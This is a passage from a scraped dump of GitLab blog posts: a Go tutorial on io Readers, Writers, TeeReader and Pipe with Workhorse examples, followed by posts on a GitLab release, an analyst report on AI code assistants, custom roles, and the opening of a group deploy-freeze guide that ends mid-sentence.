([implementation](https://cs.opensource.google/go/go/+/refs/tags/go1.21.0:src/io/multi.go;l=127)).\n\n```go\nfunc MultiWriter(writers ...Writer) Writer\n```\n\n**Example**\n\nGiven we want to [build](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/upload/destination/multi_hash.go#L13-18) `md5`, `sha1`, `sha256` and `sha512` hashes from the same content. [`Hash`](https://pkg.go.dev/hash#Hash) type is a `Writer`. Using `io.MultiWriter`, we define [`multiHash`](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/upload/destination/multi_hash.go#L43-61) Writer. After the content is [written](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/upload/destination/destination.go#L124-125) to the `multiHash`, we [calculate](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/upload/destination/multi_hash.go#L63-70) the hashes of all these functions in a single run.\n\nThe simplified version of the example is:\n\n```go\npackage main\n\nimport (\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n)\n\nfunc main() {\n\ts1 := sha1.New()\n\ts256 := sha256.New()\n\n\tw := io.MultiWriter(s1, s256)\n\tif _, err := w.Write([]byte(\"content\")); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfmt.Println(s1.Sum(nil))\n\tfmt.Println(s256.Sum(nil))\n}\n```\n\nFor simplicity, we just call `Write` function on a Writer, but when content comes from a Reader, then `io.Copy` can be used as well:\n\n```go\n_, err := io.Copy(io.MultiWriter(s1, s256), reader)\n```\n\n## Multiple Readers -> Reader\n\n**Problem**\n\nWe have multiple Readers and need to sequentially read from them.\n\n![readers and writers - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099494919.png)\n\n**Solution**\n\nThe `io` package provides [`io.MultiReader`](https://pkg.go.dev/io#MultiReader) function that _converts_ multiple Readers into a single one. The Readers are read in the passed order.\n\n```go\nfunc MultiReader(readers ...Reader) Reader\n```\n\nThen this Reader can be used in any function that accepts `Reader` as an argument.\n\n**Example**\n\nWorkhorse [reads](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/cmd/gitlab-resize-image/png/reader.go#L26-38) the first `N` bytes of an image to detect whether it's a PNG file and _puts them back_ by building a Reader from multiple Readers:\n\n```go\nfunc NewReader(r io.Reader) (io.Reader, error) {\n\tmagicBytes, err := readMagic(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif string(magicBytes) != pngMagic {\n\t\tdebug(\"Not a PNG - read file unchanged\")\n\t\treturn io.MultiReader(bytes.NewReader(magicBytes), r), nil\n\t}\n\n\treturn io.MultiReader(bytes.NewReader(magicBytes), &Reader{underlying: r}), nil\n}\n```\n\n## Multiple Readers -> Multiple Writers\n\n**Problem**\n\nWe need to pass content from multiple Readers into multiple Writers.\n\n![readers and writers - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099494921.png)\n\n**Solution**\n\nThe solutions above can be generalized on the many-to-many use case.\n\n```go\n_, err := io.Copy(io.MultiWriter(w1, w2, w3), io.MultiReader(r1, r2, r3))\n```\n\n## Reader -> Reader + Writer\n\n**Problem**\n\nWe need to read content from a Reader or pass the Reader to a function and simultaneously write the content into a Writer.\n\n![readers and writers - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099494923.png)\n\n**Solution**\n\nThe `io` package provides [io.TeeReader](https://pkg.go.dev/io#TeeReader) function that accepts a Reader to read from, a Writer to write to, and returns a Reader that can be processed further.\n\n```go\nfunc TeeReader(r Reader, w Writer) Reader\n```\n\nThe [implementation](https://cs.opensource.google/go/go/+/refs/tags/go1.21.4:src/io/io.go;l=610) of the functionality is straightforward. The passed `Reader` and `Writer` are stored in a structure that is a `Reader` itself:\n\n```go\nfunc TeeReader(r Reader, w Writer) Reader {\n\treturn &teeReader{r, w}\n}\n\ntype teeReader struct {\n\tr Reader\n\tw Writer\n}\n```\n\nThe `Read` function implemented for the structure delegates the `Read` to the passed `Reader` and also performs a `Write` to the passed `Writer`:\n\n```\nfunc (t *teeReader) Read(p []byte) (n int, err error) {\n\tn, err = t.r.Read(p)\n\tif n > 0 {\n\t\tif n, err := t.w.Write(p[:n]); err != nil {\n\t\t\treturn n, err\n\t\t}\n\t}\n\treturn\n}\n```\n\n**Example 1**\n\nWe already touched hashing topic in the `Multiple Writers -> Writer` section and `io.TeeReader` is [used](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/upload/destination/destination.go#L124-125) to provide a Writer to create a hash from content. The returned Reader can be further used to upload content to object storage.\n\n**Example 2**\n\nWorkhorse uses `io.TeeReader` to [implement](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/dependencyproxy/dependencyproxy.go#L57-101) Dependency Proxy [functionality](https://docs.gitlab.com/ee/user/packages/dependency_proxy/). Dependency Proxy caches requested upstream images in the object storage. The not-yet-cached use case has the following behavior:\n\n- A user performs an HTTP request.\n- The upstream image is fetched using [`net/http`](https://pkg.go.dev/net/http) and [`http.Response`](https://pkg.go.dev/net/http#Response) provides its content via `Body` field, which is [`io.ReadCloser`](https://pkg.go.dev/io#ReadCloser) (basically an `io.Reader`).\n- We need to send this content back to the user by writing it into [`http.ResponseWriter`](https://pkg.go.dev/net/http#ResponseWriter) (basically an `io.Writer`).\n- We need to simultaniously upload the content to object storage by performing an [`http.Request`](https://pkg.go.dev/net/http#NewRequest) (a function that accepts an `io.Reader`).\n\nAs a result, `io.TeeReader` can be used to glue these primitives together:\n\n```go\nfunc (p *Injector) Inject(w http.ResponseWriter, r *http.Request, sendData string) {\n\t// Fetch upstream data via HTTP\n\tdependencyResponse, err := p.fetchUrl(r.Context(), sendData)\n\t...\n\t// Create a tee reader. Each Read will read from dependencyResponse.Body and simultaneously\n        // perform a Write to w writer\n\tteeReader := io.TeeReader(dependencyResponse.Body, w)\n\t// Pass the tee reader as the body of an HTTP request to upload it to object storage\n\tsaveFileRequest, err := http.NewRequestWithContext(r.Context(), \"POST\", r.URL.String()+\"/upload\", teeReader)\n\t...\n\tnrw := &nullResponseWriter{header: make(http.Header)}\n\tp.uploadHandler.ServeHTTP(nrw, saveFileRequest)\n\t...\n```\n\n## Writer -> Reader\n\n**Problem**\n\nWe have a function that accepts a Writer, and we are interested in the content that the function would write into the Writer. We want to intercept the content and represent it as a Reader to further process it in a streaming fashion.\n\n![readers and writers - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099494924.png)\n\n**Solution**\n\nThe `io` package provides [`io.Pipe`](https://pkg.go.dev/io#Pipe) function that returns a Reader and a Writer:\n\n```go\nfunc Pipe() (*PipeReader, *PipeWriter)\n```\n\nThe Writer can be used to be passed to the function that accepts a Writer. All the content that has been written into it will be accessible via the reader, i.e. a synchronous in-memory pipe is created that can be used to connect code expecting an `io.Reader` with code expecting an `io.Writer`.\n\n**Example 1**\n\nFor [LSIF](https://lsif.dev/) file [transformation](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/lsif_transformer/parser/parser.go#L68-72) for code navigation we need to:\n\n- [Read](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/lsif_transformer/parser/parser.go#L48-51) content of a zip file.\n- Transform the content and [serialize](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/lsif_transformer/parser/docs.go#L97-112) it into [`zip.Writer`](https://pkg.go.dev/archive/zip#Writer).\n- [Represent](https://gitlab.com/gitlab-org/gitlab/blob/d97ce3baab7fbf459728ce18766fefd3abb8892f/workhorse/internal/lsif_transformer/parser/parser.go#L68-72) the new compressed content as a Reader to be further processed in a streaming fashion.\n\nThe [`zip.NewWriter`](https://pkg.go.dev/archive/zip#NewWriter) function accepts a Writer to which it will write the compressed content. It is handy when we need to pass an open file descriptor to the function to save the content to the file. However, when we need to pass the compressed content via an HTTP request, we need to represent the data as a Reader.\n\n```go\n// The `io.Pipe()` creates a reader and a writer.\npr, pw := io.Pipe()\n\n// The writer is passed to `parser.transform` function which will write\n// the transformed compressed content into it\n// The writing should happen asynchronously in a goroutine because each `Write` to\n// the `PipeWriter` blocks until it has satisfied one or more `Read`s from the `PipeReader`.\ngo parser.transform(pw)\n\n// Everything that has been written into it is now accessible via the reader.\nparser := &Parser{\n\tDocs: docs,\n\tpr:   pr,\n}\n\n// pr is a reader that can be used to read all the data written to the pw writer\nreturn parser, nil\n```\n\n**Example 2**\n\nFor Geo setups [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) proxies all `git push` operations to secondary and redirects them to primary.\n\n- GitLab Shell establishes an SSH connection and defines [`ReadWriter`](https://gitlab.com/gitlab-org/gitlab-shell/blob/7898d8e69daf51a7b6e01052c4516ca70893a2d4/internal/command/readwriter/readwriter.go#L6-7) struct that has `In` field of `io.Reader` type to read data from a user and `Out` field of `io.Writer` type to send response to the user.\n- GitLab Shell performs an HTTP request to `/info/refs` and sends `response.Body` of type `io.Reader` to the user using [`io.Copy`](https://gitlab.com/gitlab-org/gitlab-shell/blob/7898d8e69daf51a7b6e01052c4516ca70893a2d4/internal/command/githttp/push.go#L60)\n- The user reacts to this response by sending data to `In` and GitLab Shell needs to read this data, convert it to a request expected by Git HTTP, and send it as an HTTP request to `/git-receive-pack`. This is where `io.Pipe` becomes useful.\n\n```go\nfunc (c *PushCommand) requestReceivePack(ctx context.Context, client *git.Client) error {\n\t// Define pipeReader and pipeWriter and use pipeWriter to collect all the data\n\t//sent by the user converted to a format expected by Git HTTP.\n\tpipeReader, pipeWriter := io.Pipe()\n\t// The writing happens asynchronously because it's a blocking operation\n\tgo c.readFromStdin(pipeWriter)\n\n\t// pipeReader can be passed as io.Reader and used to read all the data written to pipeWriter\n\tresponse, err := client.ReceivePack(ctx, pipeReader)\n\t...\n\t_, err = io.Copy(c.ReadWriter.Out, response.Body)\n\t...\n}\n\nfunc (c *PushCommand) readFromStdin(pw *io.PipeWriter) {\n\tvar needsPackData bool\n\n\t// Scanner reads the user input line by line\n\tscanner := pktline.NewScanner(c.ReadWriter.In)\n\tfor scanner.Scan() {\n\t\tline := scanner.Bytes()\n\t\t// And writes it to the pipe writer\n\t\tpw.Write(line)\n\t\t...\n\t}\n\n\t// The data that hasn't been processed by a scanner is copied if necessary\n\tif needsPackData {\n\t\tio.Copy(pw, c.ReadWriter.In)\n\t}\n\n\t// Close the pipe writer to signify EOF for the pipe reader\n\tpw.Close()\n}\n```\n\n## Try Golang\n\nGolang provides elegant patterns designed to efficiently process data in a streaming fashion. The patterns can be used to address new challenges or refactor the existing performance issues associated with high memory consumption.\n\n> Learn more about [GitLab and Golang](https://docs.gitlab.com/ee/development/go_guide/).\n",[696,1067,676,1268],{"slug":6885,"featured":6,"template":678},"compose-readers-and-writers-in-golang-applications","content:en-us:blog:compose-readers-and-writers-in-golang-applications.yml","Compose Readers And Writers In Golang Applications","en-us/blog/compose-readers-and-writers-in-golang-applications.yml","en-us/blog/compose-readers-and-writers-in-golang-applications",{"_path":6891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6892,"content":6899,"config":6903,"_id":6906,"_type":16,"title":6907,"_source":17,"_file":6908,"_stem":6909,"_extension":20},"/en-us/blog/gitlab-16-9-release",{"title":6893,"description":6894,"ogTitle":6893,"ogDescription":6894,"config":6895,"ogImage":6896,"ogUrl":6897,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6897,"schema":6898},"GitLab 16.9 Release","16.9 features GitLab Duo Chat with wider Beta access, usability improvements to the CI/CD variables page, more options for auto-canceling pipelines, and more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668947/Blog/Hero%20Images/16.9_cover_image_-_Blog-1800x800.png","https://about.gitlab.com/blog/gitlab-16-9-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16.9 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-02-15\",\n      }",{"title":6893,"description":6894,"authors":6900,"heroImage":6896,"date":6881,"body":6901,"category":962,"tags":6902},[1125],"[This is the 16.9 release post.](https://about.gitlab.com/releases/2024/02/15/gitlab-16-9-released/)",[774,479],{"slug":6904,"featured":92,"template":678,"externalUrl":6905},"gitlab-16-9-release","https://about.gitlab.com/releases/2024/02/15/gitlab-16-9-released/","content:en-us:blog:gitlab-16-9-release.yml","Gitlab 16 9 Release","en-us/blog/gitlab-16-9-release.yml","en-us/blog/gitlab-16-9-release",{"_path":6911,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6912,"content":6917,"config":6923,"_id":6925,"_type":16,"title":6926,"_source":17,"_file":6927,"_stem":6928,"_extension":20},"/en-us/blog/new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops",{"title":6913,"description":6914,"ogTitle":6913,"ogDescription":6914,"noIndex":6,"ogImage":2675,"ogUrl":6915,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6915,"schema":6916},"New report on AI-assisted tools points to rising stakes for DevSecOps","Read the key findings from the \"Omdia Market Radar: AI-Assisted Software Development, 2023-24\" report, including the state of AI-based code assistants.","https://about.gitlab.com/blog/new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New report on AI-assisted tools points to rising stakes for DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rusty Weston, Guest Contributor\"}],\n        \"datePublished\": \"2024-02-14\",\n      }",{"title":6913,"description":6914,"authors":6918,"heroImage":2675,"date":6920,"body":6921,"category":791,"tags":6922},[6919],"Rusty Weston, Guest Contributor","2024-02-14","Small wonder that the buzz about deploying generative AI and large language models (LLMs) for code completion and code generation has focused almost exclusively on developer productivity. It's a significant milestone — but it’s not the entire story. Less widely understood is what AI-assisted tools can do for development teams and, more broadly, for organizational competitiveness. Combining AI-powered tools and integrated development environments (IDEs) doesn’t just pump up developer efficiency, it transforms the entire software development lifecycle (SDLC) while adding “layers” of safety enhancements. \n\nDevSecOps teams see firsthand that AI-assisted software tools help reduce software testing bottlenecks and improve security as they streamline workflows. In this new era, DevSecOps can simultaneously shorten the software development cycle, enforce security standards, and enhance output. In short, the right tools make organizations more competitive. \n\nJust as LLM quality improvements amplify the value of generative AI, the new class of AI-powered development tools must offer privacy- and transparency- controls to harness these models effectively. Utilizing rigorous controls, DevSecOps gains efficiencies and improves team collaboration while reducing AI adoption's security and compliance risks.\n\n## An analyst take on what matters  \nOne of the key findings of a new report called “[Omdia Market Radar: AI-Assisted Software Development, 2023–24](https://learn.gitlab.com/devsecops-plat-ai/analyst-omdia-ai)” is that “the use of AI-based code assistants has reached a level of proficiency such that enterprises not using this technology will be at a disadvantage.”\n\n> [Read the Omdia Market Radar report](https://learn.gitlab.com/devsecops-plat-ai/analyst-omdia-ai). \n\nFew may have anticipated the development community’s swift integration of AI-powered application development. Until recently, it’s been a gradual build. According to Omdia, “The application of AI to code assistance has been ongoing for the last decade with a focus on assisting professional developers.” After years of development, the report emphasizes that “this technology is now a permanent part of the landscape.”\n\nOmdia’s finding also tracks with the [GitLab 2023 Global DevSecOps Report: The State of AI in Software Development](https://about.gitlab.com/developer-survey/previous/2023/), which featured input from 1,000 global leaders in development, IT operations, and security. Today, nearly one-in-four DevSecOps teams have adopted AI tools, and another two-thirds plan to use AI in software development. In the GitLab report, more than half (55%) of teams heralded the promise of improved efficiency. At the same time, two in five respondents expressed concerns about whether AI-generated code may introduce security vulnerabilities.\n\n## Advocating a layered approach \n\nGiven potential risks such as LLM inaccuracy,  including widely documented [hallucinations](https://www.fastcompany.com/91006321/how-ai-companies-are-trying-to-solve-the-llm-hallucination-problem), Omdia cautions brands that “careless use of LLM output could harm and tarnish” their reputation. “To increase the accuracy of this technology and ensure that developers can use this technology safely and without violating license rules in the data used to train the models, there is a need to add layers on top of the foundation model.”  \n\nBy layers, Omdia emphasizes the value of “safety and enhancement” safeguards and filters. These layers create a “major differentiator” for AI-assisted development tools because they manage “training data licensing rules, the quality and accuracy of the generated output, and the prevention of insecure code.” The report's authors caution that “generated outputs need to be carefully evaluated” to ensure they are “safe and of high quality.”\n\nIn effect, the safeguards and filters in AI-assisted software development establish a “defense-in-depth” strategy for coding. That’s a concept in which “[attacks missed by one technology are caught by another](https://csrc.nist.gov/glossary/term/defense_in_depth),” which can also apply to any elevated digital risk, such as reputational harm. \n\n## A new perspective on GitLab Duo\n\nOmdia highlighted [GitLab Duo](https://about.gitlab.com/gitlab-duo/), the company’s suite of AI capabilities, as one of the products it considers “suitable for enterprise-grade application development,” noting that its “AI assistance is integrated throughout the SDLC pipeline.” \n\nAmong the report highlights:\n- “GitLab places an emphasis on respecting user privacy and being transparent in how it operates. In its selection of AI technology, it is agnostic to the models adopted and will use what it considers the best model for each use case.”  \n- “When GitLab looked at where developers were spending their time, it was only 25% on coding, and 75% was taken up by other necessary tasks: planning, onboarding, testing, documentation, and security. Therefore, GitLab applies AI to all these tasks, not just code generation assistance.”\u2028\n- “To ensure privacy, GitLab does not let its AI retain user data in any way and does not use client code to train its models.”\n- GitLab’s AI gateway is model agnostic, and “GitLab uses models from Google and [Anthropic](https://about.gitlab.com/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation/) to power GitLab Duo.”\u2028\n- Beyond code suggestions, developers “can ask Duo Explanation using natural language to explain what the code does.”\n\n## GitLab Duo introduces stronger controls\n\nFor DevSecOps teams, there’s no tradeoff between efficiency and security. Both are essential. GitLab Duo includes vital features such as Duo Code Suggestions and Chat, which enable AI-powered code completion, code generation, and chat, improving collaboration between developers, security, and operations teams. \n\nWith GitLab Duo, customer privacy is never subjected to tradeoffs. All customer code stays secret — it’s never applied to model training or fine-tuning. These practices are core to GitLab’s privacy- and transparency-first approach to team collaboration and security and reduce AI adoption's compliance risks. \n\nThe Omdia report notes that “software developers face greater complexity and hurdles today in producing code.” As a result, “There is a need to build in application security, including enforcing standards and triaging security vulnerabilities.” The report finds that GitLab has “security guardrails consistently applied throughout.” \n\nAdopters need tools that can help them tap AI’s benefits without introducing vulnerabilities or undermining compliance standards in ways that jeopardize trust with customers, partners, employees, and other critical stakeholders. DevSecOps teams seek tools to reduce the time, stress, and complexity of the entire application lifecycle.\n\n> [Read the Omdia Market Radar report](https://learn.gitlab.com/devsecops-plat-ai/analyst-omdia-ai).\n\n_Rusty Weston is an award-winning data-driven storyteller, editor, researcher, and writer. He formerly served as Editor of InformationWeek.com, Managing Editor at Yahoo!, and Vice President and Managing Editor for the Ogilvy content team._ \n",[790,943,736],{"slug":6924,"featured":92,"template":678},"new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops","content:en-us:blog:new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops.yml","New Report On Ai Assisted Tools Points To Rising Stakes For Devsecops","en-us/blog/new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops.yml","en-us/blog/new-report-on-ai-assisted-tools-points-to-rising-stakes-for-devsecops",{"_path":6930,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6931,"content":6937,"config":6943,"_id":6945,"_type":16,"title":6946,"_source":17,"_file":6947,"_stem":6948,"_extension":20},"/en-us/blog/how-to-tailor-gitlab-access-with-custom-roles",{"title":6932,"description":6933,"ogTitle":6932,"ogDescription":6933,"noIndex":6,"ogImage":6934,"ogUrl":6935,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6935,"schema":6936},"How to tailor GitLab access with custom roles","Find out the current capabilities of custom roles and what's to come, including initial grouping of permissions and templating from default roles.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098975/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_729993502_1Xe0pzHPX4C3b1Ycs2q7RP_1750098974565.jpg","https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to tailor GitLab access with custom roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joe Randazzo\"},{\"@type\":\"Person\",\"name\":\"Hannah Sutor\"}],\n        \"datePublished\": \"2024-02-13\",\n      }",{"title":6932,"description":6933,"authors":6938,"heroImage":6934,"date":6940,"body":6941,"category":962,"tags":6942},[3006,6939],"Hannah Sutor","2024-02-13","At GitLab, we knew we had a big problem to solve. Our existing, default user roles were becoming roadblocks for our customers. The default roles, such as Guest, Reporter, Developer, Maintainer, and Owner, offer a predefined set of permissions that cannot be customized. Customers were forced to fit their specific needs into the existing roles, leading to either overly permissive access, which is a security risk, or under-privileged access, which required administrator overhead to temporarily elevate privileges of a user in order to perform a task, and remember to move them back down to their normal role afterwards.\n\nIn 15.9, we released our [first iteration for customizable roles](https://about.gitlab.com/blog/expanding-guest-capabilities-in-gitlab-ultimate/) within GitLab. It allowed customers to do one simple thing: Give the Guest user the ability to view code, without consuming a seat. Our hope was to give our customers the ability to add more privilege to the Guest role, if they so desired, while retaining the benefit of free Guest users with an Ultimate subscription.\n\nOur MVC was released almost a year ago now, so we wanted to provide an update on the progress we’ve made with customizable roles and an idea of where we are headed.\n\n![Custom roles - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098994/Blog/Content%20Images/Blog/Content%20Images/create_role_output__2__aHR0cHM6_1750098994380.gif)\n\n![Custom roles - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098994/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098994380.gif)\n\n## Looking at the next iteration of custom roles\n\nAs we build toward the next iteration of [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) and permissions, we have gathered a lot of feedback from the MVC. Two common themes that have been uncovered are:\n- reducing privilege of Developer, Maintainer, and Owner roles\n- a wide range of access permutations\n\nHere's how we plan to address these challenges.\n\n### Consistent CRUD model\n\nIf you have designed role-based access control (RBAC) in Google Cloud Platform (GCP) or Kubernetes, you may have appreciated the predictable permission verbs on resource access. As we continue to build out the next groupings of permissions for custom roles, the permissions will follow a consistent Create, Read, Update, and Delete (CRUD) model so you can predictably design your resource access within your organization.\n\nIf we examine the table below, “Manage” would be given to select few in the department or organization, whereas \"Write\" and \"View\" would be a common contributor to that resource.\n\n| Permission    | Description     |\n| ---------- | ---------- |\n| Manage       | Full CRUD operations on resources. Plus configuring the settings of the resource. *Assumes Write/View/Delete* |\n| Write       | Add or update the resource. *Assumes View*     |\n| View       | View the resource      |\n| Delete      | Delete the resource. *Assumes View*      |\n\n\u003Cp>\u003C/p>\n\nBelow is a concrete example of permissions related to registries. While this table is coarse-grained as this groups all registry types together at first, this can become fine-grained over time by pulling out each registry type as requested.\n\n\u003Cp>\u003C/p>\n\n| Permission    | Description     |\n| ---------- | ---------- |\n| Manage       | CRUD operations on objects, including Registries, Proxy, Cleanup Policies, along with managing the settings      |\n| Write       | Ability to push a container, package, or terraform module to registry    |\n| View       | Ability to view, retrieve, and pull registry objects and metadata on repositories and images      |\n| Delete      | Ability to delete registry objects and metadata      |\n\n### Remove default role dependency\n\nDuring the custom role creation process, starting with a base default role can be a quick way to add permissions, but it’s limiting when reducing only one or two permissions from Maintainer or Owner. The next iteration will allow you to build your own custom role without the predefined permissions of default roles allowing for maximum flexibility.\n\n### Build your own role\n\nBuilding a custom role in a system should account for the number of permutations while isolating access for those in strict environments. As we group these resources, we are factoring in that there are a wide range of themes including project management, development, security, and operations.\n\nBelow is a sample of [groupings](https://gitlab.com/jrandazzo/build-your-own-permissions-survey) with a permission selection that could apply to a developer. These resource groups may become finer over time based on requests.\n\n![custom roles - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098994/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098994382.png)\n\n### Building a role from a template\n\nYou may have experienced building permission sets as a starting point to simplify the assignment of user access. As you build out a custom role, you could start with a template that copies predefined permissions from a default role or specific user types such as a Project Manager.\n\n## How to contribute\n\nWe value your feedback and there are multiple ways to contribute:\n- We created a “build your own role” survey to understand how an organization would create a least privilege user in GitLab. Here is a [survey link](https://forms.gle/ucx9CNqqUbVVyAse9) to validate our initial assumptions on permission groupings.\n- Would you like to submit ideas or share feedback based on custom roles? Here is the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/439638).\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[695,674,943,754],{"slug":6944,"featured":92,"template":678},"how-to-tailor-gitlab-access-with-custom-roles","content:en-us:blog:how-to-tailor-gitlab-access-with-custom-roles.yml","How To Tailor Gitlab Access With Custom Roles","en-us/blog/how-to-tailor-gitlab-access-with-custom-roles.yml","en-us/blog/how-to-tailor-gitlab-access-with-custom-roles",{"_path":6950,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6951,"content":6957,"config":6963,"_id":6965,"_type":16,"title":6966,"_source":17,"_file":6967,"_stem":6968,"_extension":20},"/en-us/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups",{"title":6952,"description":6953,"ogTitle":6952,"ogDescription":6953,"noIndex":6,"ogImage":6954,"ogUrl":6955,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6955,"schema":6956},"CI/CD automation: Maximize 'deploy freeze' impact across GitLab groups","Learn the benefits of managing deploy freezes at the group level and follow step-by-step guidance on implementation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667913/Blog/Hero%20Images/clocks.jpg","https://about.gitlab.com/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CI/CD automation: Maximize 'deploy freeze' impact across GitLab groups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Nnachi\"}],\n        \"datePublished\": \"2024-02-08\",\n      }",{"title":6952,"description":6953,"authors":6958,"heroImage":6954,"date":6959,"body":6960,"category":962,"tags":6961},[3493],"2024-02-08","In the dynamic landscape of continuous integration and continuous deployment ([CI/CD](https://about.gitlab.com/topics/ci-cd/)), maintaining system stability during critical periods such as holidays, product launches, or maintenance windows can be challenging. Introducing new code during peak activity times raises the risk of issues affecting user experience. To strike a balance between innovation and stability, organizations may require a group-level deploy freeze — a strategic pause in deploying new code changes across groups to certain branches or environments.\n\n**Given that GitLab can be used for both continuous integration and continuous deployment efforts, GitLab's [Deploy Freeze](https://docs.gitlab.com/ee/user/project/releases/index.html#prevent-unintentional-releases-by-setting-a-deploy-freeze)** capability aims to address this exact need.\n\nScoped at the project level, deploy freezes can prevent unintended production releases during a period of time you specify by setting a deploy freeze period. Deploy freezes help reduce uncertainty and risk when continuously deploying changes for a single project.\n\nMost teams, however, do not have a single project that represents all of their production environment. Given that deploy freezes are set at the project level, managing and enforcing deploy freezes across many projects can be an arduous and error-prone task, leading to unpredictability and disruption. The need for an automated cross-project solution to ensure stability is obvious.\n\n## What is a group deploy freeze?\n\nThe [Group Deploy Freeze project](https://gitlab.com/cnnachi-demo/freezeperiods) takes the concept of individual project deploy freezes to the next level. It enables you to enforce the same deployment restrictions across one or many projects within a GitLab group from the GitLab UI.\n\nWhether you're managing a large suite of microservices or a collection of related projects, a group-managed deploy freeze solution provides a centralized mechanism to maintain stability.\n\n### Benefits of group deploy freeze\n\n**1. Centralized control**\n\nAdherence to your deployment strategy by allowing you to manage deploy freezes for multiple projects from a single location. This simplifies the process and reduces human errors.\n\n**2. Group-wide synchronization**\n\nEnforcing deploy freezes across an entire GitLab group ensures that all projects receive the same schedule at the same time. This maintains uniformity across your projects.\n\n**3. Streamlined collaboration**\n\nVisibility of changes to your development and operations teams can align their efforts effectively.\n\n## How to use GitLab Group Deploy Freeze\n\nWith [Group Deploy Freeze](https://gitlab.com/demos/solutions/group-deploy-freeze), GitLab CI becomes a general-purpose automation tool for ops-related changes, like setting deploy freezes on many projects.\n\nIn the following steps, you will successfully set up the Group Deploy Freeze feature. Remember to test thoroughly and consider any specific nuances of your team's deployment process.\n\n### Prerequisites\n\n- **GitLab account -** You need an active GitLab account with the necessary permissions to access and manage the projects within the target GitLab group.\n- **GitLab Personal Access Token (PAT) -** Generate a GitLab PAT with the permissions to read and write to the projects within the target GitLab group via the GitLab API. This token will be used by the Python script to authenticate API requests.\n- **Python environment -** Ensure that you have a Python environment set up on your machine or the environment where you plan to run the Python script. The script is written in Python, so you need a compatible Python interpreter.\n- **Python libraries -** Install the required Python libraries used by the script. These include requests, envparse, and python-gitlab. You can use pip to install these libraries.\n- **GitLab Group details -** Identify the GitLab group for which you want to manage deploy freezes. You'll need the group's slug (path) to specify which group the script will operate on.\n- **Time zone selection -** Decide on the time zone in which you want to schedule the deploy freezes. The time zone selection ensures that freeze periods are accurately 